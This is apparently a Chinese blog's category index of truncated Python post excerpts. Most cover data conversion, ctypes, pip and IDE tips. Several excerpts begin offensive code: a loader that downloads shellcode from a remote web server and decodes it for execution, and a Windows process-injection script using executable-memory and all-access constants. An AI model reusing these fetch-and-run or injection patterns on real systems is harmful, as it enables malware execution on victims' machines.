随笔分类 - python
摘要:阅读目录(Content) 整数之间的进制转换: 字符串转整数: 字节串转整数: 整数转字节串: 字符串转字节串: 字节串转字符串: 测试用的python源码 进行协议解析时,总是会遇到各种各样的数据转换的问题,从二进制到十进制,从字节串到整数等等 废话不多上,直接上例子 回到顶部(go to to
阅读全文
摘要:```python In [10]: n = 0xf1f2 In [11]: bin(n) Out[11]: '0b1111000111110010' In [12]: n.bit_length() Out[12]: 16 In [14]: n.to_bytes((n.bit_length() + 7) //8, 'little') Out[14]: b'\xf2\xf1' In [15]: n
阅读全文
摘要:快捷键 同时注释多行代码: Ctrl+/ 注释/取消注释 """ 多行注释 """ 缩进 Tab 缩进 Shift+Tab 反向缩进
阅读全文
摘要:最近研究人脸识别,需要用python调用so动态库,涉及到c/c++中的指针字符串转Python的bytes对象的问题。 按照ctypes的文档,直观方式是先创建对应的类型数组,再将指针取地址一一赋值: from ctypes import * p=(c_char * 10)() for i in
阅读全文
摘要:import urllib2 import ctypes import base64 # 从我们的web服务器上下载shellcode url = "http://rinige.com/shellcode.bin" response = urllib2.urlopen(url) # base64 解码 shellcode shellcode = base64.b64decode(respo...
阅读全文
摘要:exe2shellcode shellcode2exe
阅读全文
摘要:// 转自: https://blog.csdn.net/Jailman/article/details/77573990import sys import psutil import ctypes from ctypes import * PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ...
阅读全文
摘要:#python 调用Windows API(使用IDLE开发环境)from ctypes import *msvcrt = cdll.LoadLibrary('msvcrt')for i in 'love': msvcrt.printf(i) #python 调用Windows API(使用VS开发
阅读全文
摘要:代码结构由':'号和缩进 来标示. 函数: def 定义 不定参数: *args: tarple可逐个传, 整体传, *拆包传 **kwargs dict可逐个传, 整体传, ** 拆包传, 有2个不定参调用其它函数转发传递时,要用拆包传,防止粘连 调用父类函数的3种方法 super(). supe
阅读全文
摘要:解决方法,设置超时时间 pip --default-timeout=100 install -U Pillow 安装时指定源(--index-url) #例如安装scipy时使用豆瓣的源 pip install --index-url https://pypi.douban.com/simple s
阅读全文
摘要:完整的错误提示: C:\Users\yyy>ipython3Fatal error in launcher: Unable to create process using '"c:\users\yyy\appdata\local\programs\python\python37\python.exe
阅读全文